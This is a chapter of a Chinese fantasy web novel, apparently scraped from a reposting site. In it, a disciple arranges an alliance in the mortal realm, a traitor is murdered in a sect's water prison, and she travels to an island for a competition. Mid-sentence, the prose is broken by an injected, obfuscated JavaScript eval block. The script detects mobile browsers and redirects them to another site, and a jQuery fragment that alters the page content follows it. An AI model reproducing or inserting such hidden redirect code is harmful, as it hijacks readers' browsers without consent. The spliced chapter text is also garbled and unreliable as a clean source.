42. 第42章

作品:《小师叔她病弱但能打

    路上,君轻离将这些事无巨细地缓缓道来。


    寒砚就知道那小妹妹不可能是个普通小乞丐,她极有目的性地选中了她和君轻离。


    手下甚至还有兵器……


    不知不觉间,两人的身影已出现在破庙。


    寒砚可不打算像君轻离那样好说话,如果好好说不听,那么只好上点拳脚了。


    推门而入,但见小乞丐们依偎在一起,给彼此涂药,处理身上的淤青,听见声音齐齐看过来。


    阿松坐在床边,手指摩挲着陶埙,抬头看过来时,目光如炬。


    ……是那个一眼看出她在撒谎、还试图恐吓她的人!


    君轻离走后,阿松收拾了下自己。


    脸上的灰擦干净,露出一张蜡黄但清秀的小脸。


    瞳仁漆黑,像上好的黑曜石。


    “怎么又回来了?大哥哥是有什么东西遗漏在这儿了吗?”


    她直接掠过寒砚,且短时间内不再想看见这两人。


    寒砚不想浪费口舌,单刀直入跟她道:“你既然已经知道了自己体质特殊,那么我现在给你两个选择,一是随我们去修真界,二我要你辅佐一个人。”


    “不过……”寒砚眼睛一弯,“你要是有本事,干掉对方自己上位也行。”


    在她原来的世界,历史上也出过几位女帝。寒砚虽然没有尝试过,但也知道当皇帝不是那么简单的,尤其是女子。


    都是聪明人,听她用上“辅佐”一词,阿松便知道,肯定不是什么小人物。


    “我还有别的选择吗?”


    这两个选择她都不想。


    “有啊。”寒砚卖了下关子,笑吟吟接道:“那就是下辈子投个好胎,至少别再遇见我。”


    “阿砚。”君轻离不赞同地出声。


    阿松摩挲陶埙的动作一顿,破庙中其他人看向寒砚的眼神也充满了不善。


    寒砚仿佛未有察觉,笑道:“三选一,你选吧。”


    她可真是个大方的好人,三个选择呢,够孩子选了吧。


    阿松暗自磨牙,头一回恨自己不够强大,不能立刻把这人摁在地上打一顿。


    但她也清楚,对方其实是为了她好,准确说是并没有害她的心思,反而对她目前的处境有益。


    可阿松年纪虽小,却很有想法,她也不喜欢自己的决定被人干涉,更甚至被人推着往前走。


    从这个角度而言,她和寒砚出奇的相似,不管结果好坏,至少都是她们自己的决定。


    有勇气做出决定,更有胆量承担后果。


    “你直接跟我说吧,辅佐谁?”阿松平复了下心情,摆烂式地问。


    大不了如果真是个庸才废物的话,就如面前之人所说,把人干掉!


    “等会你就知道了。”


    说是等会儿就是等会儿,寒砚不开口,君轻离自然不会多嘴。


    季明烛来得比想象中的要快,看似文弱但骑术意外地还不错。


    “寒姑娘……”


    他在破庙外清理身上的落雪,抬头就见寒砚在门口,以为是在等自己,心中霎时一暖。


    寒砚对阿松道:“看见这个人了么?”


    她说的看见可不单单是指眼睛上的看见。


    阿松看向季明烛,眼眸中有灵光明灭。


    此人身上紫气环绕,隐隐化为金光之势,气运磅礴有帝王之相,若有能人辅佐,人皇之位也未必不可一试。


    而她,就是寒砚眼中的能人。


    她抬头,正好与寒砚对视,漆黑的眼眸中似有火光亮起。


    阿松清楚自己有几斤几两,虽然想过搞事情,但真要她称王称帝还是有太长的路要走,但借助此人的帝王之气,她可以少走许多弯路,不仅她身边的这些伙伴、陵国,甚至整个人间,都能受到大气运者的庇护。


    前提是——他能够成长起来。


    她收回目光,重新看向正进入破庙的季明烛,一字一顿道:“我看见了,未来。”


    准确说,是人族的未来。


    他行不行她不知道,但这身紫气不会太差,至少不会给她拖后腿。


    风声呼啸,季明烛没有听见两人的话,他没想到寒砚要让自己见的人还是个这么小的姑娘。


    寒砚把阿松推到他身边,“剩下的事情我和师尊就不多参与了,很期待看到十年之后的陵国。”


    唔,一个大气运者,一个通灵之体,收拾烂摊子怎么也该够了。


    ……


    “你担心杀了老国君导致陵国大乱,所以才想着让他们二人捆绑在一起?”


    大气运者为天道眷顾,多是心怀天下之人,而通灵之体本性并无好坏,极易被有心人利用,不愿去修真界的话,待在前者身边也是个不错的选择。


    君轻离眼神欣慰。


    寒砚眸光微闪。


    哦,那倒不是。


    她不过是想借此证实她的猜测,顺便看看天道搞出这两个人,放在一起能产生什么效果。


    互相成就?还是为权力厮杀?


    不过他说什么就是什么吧。


    寒砚俏皮地朝他眨了眨眼,“怎么说我也是师尊您的弟子,仇要报,但尽可能地不波及无辜者。”


    君轻离心中一软,就知道自己的徒弟本性善良。


    他御剑穿过两域结界,修为恢复如初,灵力罩护着二人,寒砚在他身后感受不到一点冷风。


    “你父母的事情弄清楚了?”


    “大概是清楚了。”


    君轻离御剑很稳,寒砚还有空闲把玩他的头发,也不知他怎么保养的,连头发丝都带着灵气。


    她和许氏以及老国君并无血缘关系,寒砚猜测,她这具身体本就是系统势力方为了某种目的,凭空捏造出来的。不然普通的人类身躯根本无法承载她的灵魂如此之久。


    但这些就没必要跟他说了。


    “那就回去吧。”


    “好的师尊。”


    少女声音灵动,背着手,优哉游哉走在前方。


    夕阳西下,落日熔金,入眼雪白皆被镀上层暖色。


    她肩头沾上碎雪,又很快融化,翘起的发丝一晃一晃。


    君轻离负手跟在她身后,清俊的眉眼染上笑意。


    若是能一直如此,也不错。


    ……


    无妄剑宗,水牢。


    荣长老半个身体都浸在玄色的液体中。


    这不是普通的水,而是专门针对高阶修士的化灵之物,相传加了“鹅毛不浮,仙佛难渡”的弱水在其中,故而能囚禁修士。


    真或假,估计也只有剑宗高层才能知晓。


    而荣长老知道,这是真的。


    故而迷迷糊糊醒来,见自己被困在水牢中,修为也没了大半,完全是吊着最后一口气,便彻底打消了想要逃出去的想法。


    不是谁都是那位魔尊。


    起码他自愧弗如。


    玄铁重门打开,外界刺眼的光亮照进,闭着眼的荣长老眼皮动了下,从浑浑噩噩中转醒。


    拉长的阴影打下,浑身都裹在黑袍中的人声音嘶哑:


    “长老这就打算放弃了?”


    荣长老没吭声。


    “魔界对我们这次行动很不满意,不仅苍穹塔无事,你还暴露了身份,尊上很生气……”


    “够了!”


    荣长老怒气冲冲打断他的话,“别当老夫不知道,那几个废物已经死了!你来不就是想试探我有没有抖出你的身份?没有!你现在可以滚了。”


    说完,荣长老再度闭上眼。


    黑袍人发出声轻笑,缓缓抬起头,隐藏在鬼面之下的桃花眼中浮起少许满意。


    “长老放心,只要我还在剑宗,迟早能将您从水牢中救出。我们可是一荣俱荣,一损俱损。”


    说着,他朝水牢靠近。


    因为被封锁了灵力的缘故,荣长老并未有所察觉。


    直到一把匕首插进他的天灵盖。


    “呃!”


    鲜血从脑袋上流下,糊了荣长老一脸,他不可置信地瞪着黑袍人。


    元神被禁锢在体内无法逃脱,最终在诡异的匕首之下一点点湮灭。


    黑袍人叹息:“可惜我实在是不相信别人……只能让长老您,先走一步了。”


    荣长老本就被寒砚打成重伤,关进来后又不曾得到有效医治,实力大不如前,面对黑袍人偷袭毫无还手之力。


    尸身向后倒下,缓慢沉入水中,灵光在他身上出现,已是正在消散的迹象。


    很快就会有人注意到的这里的异样。


    黑袍人收起匕首,转身离开。


    ……


    带着徒弟在外面“游山玩水”一个多月后,君轻离收到了逍云掌门的传音,得到一个不幸的消息。


    他声音微沉:“荣长老死了,死在水牢中,灰飞烟灭。”


    寒砚下意识道:“活该。”


    突然反应过来自己说了什么,她打哈哈道:“这种叛徒,死得这么轻松都是便宜他了。”


    “……你说的对,便宜他了。”他揉了揉她的脑袋,陷入沉默。


    水牢中防守严密,自无妄剑宗立宗以来,也不过逃出一个镜修竹。


    还未被揪出来的魔界内应是谁?


    能在不惊动掌门人的情况下杀死水牢重犯。


    “逍云他们已经有怀疑的目标,估计要不了多久就能确定,好在到现在,荣长老能交代的应该也交代得差不多了。”


    荣长老神魂遭到重创,能交代的实在有限,至少君轻离没有从逍云处得知多少有用信息。


    寒砚想起之前荣长老说的。


    是他的同伙杀了他?


    他口中一个桃花小妖?


    如果是的话,都能杀死他,怎么看都不像寻常小妖。


    君轻离主要想说的是后面这些话:“魔界的内应还未查出,你和同门相处时多留个心眼,察觉不妥便及时告知我。宁可谨慎过头,也莫要让自己出事。”


    说完,似乎见气氛略沉重,他话音一转,道:“云海秘境开启在即,届时各大仙门会精心挑选进入秘境的弟子,你平日里出门少,多出去走走结交下朋友也是好的。”


    言下之意就是要她去凑个热闹,多认识些人。


    君轻离还以为她和其他弟子一样,筑基前老老实实待在山上


    寒砚自然不会自揭老底,但也不愿勉强自己去这种没意思的场合。


    “不想去。”


    君轻离认真道:“那就随我去药王谷,二选一。”


    寒砚改口:“那我还是去看他们打架吧。”


    “是比试交流。”君轻离纠正她。


    寒砚:……穷讲究。


    平日里大家说起仙门,都只会第一时间想到十大仙门,但实际上修真界广袤无垠,明里暗里的门派多如牛毛,光是有名有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009063|192129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姓的都有上千。


    云海秘境是上古秘境,三百年一开,一次只开半个月,进秘境的人限定在一百五十人。


    十大仙门各有十个名额,再通过比试分配剩下的名额,小宗门和散修都可参加,修为限制在金丹期。


    秘境中奇珍异宝无数,更有传言说里面有飞升成仙的捷径,不过大家都不是天真的毛头小子,没人放在心上。


    秘境每次开启的地点不定,基本都是隐神阁的人在推衍,而这一次则在南海之上。


    负责这次事宜的,主要是距离最近的桃华岛,以及哪哪儿都爱掺一脚的浮生仙宗。


    这一场比试,修真界人将其称为云中大比。


    君轻离一向不关注这些,这事也用不着他出现,能记住全靠一次偶然的机会听人提起。


    好在为时尚早,不必着急,还是带着徒弟培养点对浮华界的感情比较重要。


    半个月后。


    两人抵达南海,桃华岛上空。


    师徒二人站在云层之上,脚下就是常年花开不败的桃华岛,绵延不断的粉色,比天边云霞还要美上三分。


    姚岛主是修真界盛名在外的美人,号玄都尊者,合体期的大能。


    君轻离不打算跟着去,他亦留有后手,不怕她出事。


    “剑宗这次带队的是连溪长老和你那位师姐,我已交代过,他们会照顾好你。”


    “师尊你真要去药王谷?”寒砚无聊地去抓周围的云。


    她没病,不想看大夫,更不想吃药。


    “我会先去一趟隐神阁,才去药王谷。你的身体虽目前看着并无大碍,但不保何时出现问题,还是早日弄明白为好。”


    再者,他和桃华岛岛主又不熟。


    而且这种盛事,各大仙门来的人不少,他一出现就会被人围观。


    这让他感觉……自己有点像个被人观赏的猴……


    君轻离摇头,抛出脑子里这个诡异的想法。


    寒砚张了张嘴,但话到嘴边,又觉得没必要说这些。


    他如何跟她又有什么关系?


    又不是她故意让他忙前忙后的。


    而且她又不是什么好人!


    君轻离掐诀,唤了阵风将她安全送往地面,落在桃华岛外围。


    不远,又不会让桃华岛的人觉得冒犯。


    寒砚刚落地,前方不远处,一位清冷如月的女修撑着墨梅骨伞走来。


    妃色衣裙上沾了几片桃花花瓣,层叠的裙摆下是浅驼色的轻纱。


    女修看见她,嘴角噙起笑,身上冷意如云烟消散。


    是风无双。


    “还以为小师叔不会过来呢。”


    随意踏出一步,眨眼已至身前。


    风无双将伞倾过,为她遮挡头上飘落的花瓣。


    在宗门时便知小师叔喜欢独来独往,一向不爱热闹,这次想必是仙君强行把人带来的。


    “大师姐修为又精进了。”寒砚赞道。


    旋即无奈摊手,“师尊总怕我没朋友,你也知道的,我不爱出门。”


    风无双领路,“仙门弟子众多,不是所有人都是越江。”


    “看来师姐已经知道那日之事了。”


    两人并肩,走往桃林深处。


    这片桃林为修士种植,无人带领,很难找到进入仙门的正确道路。


    风无双颔首,“林义师妹还同我自夸,说她也算是替我护了你一次。奈何她事务繁忙,未能多说两句。今日她也来了,小师叔若有空也不妨见上一见。”


    不管寒砚如何称呼她,风无双还是将自己放在后辈的位置。


    林义,那位一言不合就撸袖子准备干架的儒修,乍一看还挺斯斯文文的。


    寒砚道:“我记得她。”


    却也没说见或不见。


    越往里走,灵气愈发浓郁纯净,视野也逐渐变得开阔。


    寒砚跟着风无双,穿过水波纹般的屏障,鲜嫩的浅粉桃花簇拥在身边飞舞,很有灵性地拂过她的指尖,像在表示亲近。


    眼睛一睁一闭,已经到了另一处仙境。


    脚下清澈的溪流蜿蜒而过,水底铺着莹白碎石,两侧同样种有开了满树的桃花。


    不远处是三五成群的各宗门弟子,在他们身后远方,可见半隐于云雾中的飞檐翘角,似琉璃铸就,在天光下泛着温润的灵光。


    云中大比在即,陆陆续续有修士到此,无人在意突然出现的二人。


    现在,这才算真正进入十大仙门之一的桃华岛地界。


    “小师叔,我先带你去登记。”


    风无双握紧她的手,伞面灵力流转,二人化为流光飞出。


    这位年轻一代最出色的剑修,出门从来都舍不得踩自己的本命剑。


    好在这把被她拿来当剑鞘的骨伞,也是一件上好的法器。


    附在伞上,一路过去,寒砚见到了不少桃华岛弟子,皆为女修。


    身穿粉白色的长裙,挽着各种材质的披帛,乌黑长发简单簪起,常以一朵桃花点缀。


    桃华岛之人修行路数花样众多,半数的弟子喜爱以绸缎为武器,既能作装饰品,抽人也疼。


    还有半数也会如其他修士一样,选择趁手的兵器,譬如刀枪剑戟等等。


    也是因此,桃华岛的长老们各有绝学,其岛主玄都尊者更是为了指导弟子,无所不学。


    号称修真界第一六边形战士。